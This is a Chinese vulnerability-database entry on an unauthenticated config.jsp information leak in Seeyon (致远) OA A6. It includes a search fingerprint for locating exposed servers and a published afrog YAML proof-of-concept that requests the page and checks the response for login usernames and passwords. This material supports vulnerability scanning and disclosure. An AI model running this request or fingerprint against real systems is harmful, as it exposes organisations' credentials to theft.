seeyon-a6-config-disclosure: 致远OA A6 config.jsp 敏感信息泄漏漏洞

日期: 2025-09-01 | 影响软件: seeyon a6 | POC: 已公开

漏洞描述

致远OA A6 config.jsp页面可未授权访问，导致敏感信息泄漏漏洞，攻击者通过漏洞可以获取服务器中的敏感信息 body="yyoa" && app="致远互联-OA"

PoC代码[已公开]

id: seeyon-a6-config-disclosure

info:
  name: 致远OA A6 config.jsp 敏感信息泄漏漏洞
  author: zan8in
  severity: high
  description: |
    致远OA A6 config.jsp页面可未授权访问，导致敏感信息泄漏漏洞，攻击者通过漏洞可以获取服务器中的敏感信息
    body="yyoa" && app="致远互联-OA"
  reference:
    - http://wiki.peiqi.tech/wiki/oa/%E8%87%B4%E8%BF%9COA/%E8%87%B4%E8%BF%9COA%20A6%20config.jsp%20%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E6%BC%8F%E6%BC%8F%E6%B4%9E.html
rules:
  r0:
    request:
      method: GET
      path: /yyoa/ext/trafaxserver/SystemManage/config.jsp
    expression: response.status == 200 && response.body.bcontains(b'本地区号')&& response.body.bcontains(b'IP地址')&& response.body.bcontains(b'登录用户名') && response.body.bcontains(b'登录密码')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/seeyon-a6-config-disclosure.yaml

相关漏洞推荐